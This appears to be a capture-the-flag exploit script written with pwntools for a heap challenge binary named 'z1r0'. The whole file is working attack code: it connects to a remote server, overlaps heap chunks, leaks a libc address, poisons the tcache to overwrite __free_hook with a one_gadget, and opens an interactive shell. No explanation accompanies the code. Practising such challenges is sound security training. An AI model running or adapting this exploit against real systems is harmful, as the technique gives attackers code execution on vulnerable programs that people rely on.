1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1 if debug: r = remote('113.201.14.253', 16066) else: r = process(file_name)
elf = ELF(file_name)
def dbg(): gdb.attach(r)
menu = 'Choice: '
def add(size, content): r.sendlineafter(menu, '1') r.sendlineafter('size: ', str(size)) r.sendafter('content: ', content)
def edit(index, content): r.sendlineafter(menu, '2') r.sendlineafter('idx: ', str(index)) r.sendlineafter('content: ', content)
def delete(index): r.sendlineafter(menu, '3') r.sendlineafter('idx: ', str(index))
def show(index): r.sendlineafter(menu, '4') r.sendlineafter('idx: ', str(index))
for i in range(7): add(0xf8, 'aaaa\n')
add(0xf8, 'bbbb\n') add(0x88, 'cccc\n') add(0xf8, 'aaaa\n') add(0x88, 'bbbb\n')
for i in range(7): delete(i)
delete(8) delete(7)
add(0x88, b'a' * 0x80 + p64(0x90 + 0x100) + b'\00')
delete(9) dbg() for i in range(7): add(0xf8, '/bin/sh\x00\n')
add(0xf8, 'cccc\n')
show(0)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, b'\x00')) - 96 - 0x10 success('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./2.27/libc-2.27.so') libc_base = malloc_hook - libc.sym['__malloc_hook'] free_hook = libc_base + libc.sym['__free_hook'] success('free_hook = ' + hex(free_hook)) one = [0x4f3d5, 0x4f432, 0x10a41c] one_gadget = one[1] + libc_base
add(0x88, 'ffff\n')
delete(0)
add(0x88, p64(free_hook) + b'\n')
delete(9)
p1 = p64(free_hook) edit(0, p1 + b'\n')
add(0x88, p1 + b'\n') add(0x88, p64(one_gadget) + b'\n')
delete(5)
r.interactive()
|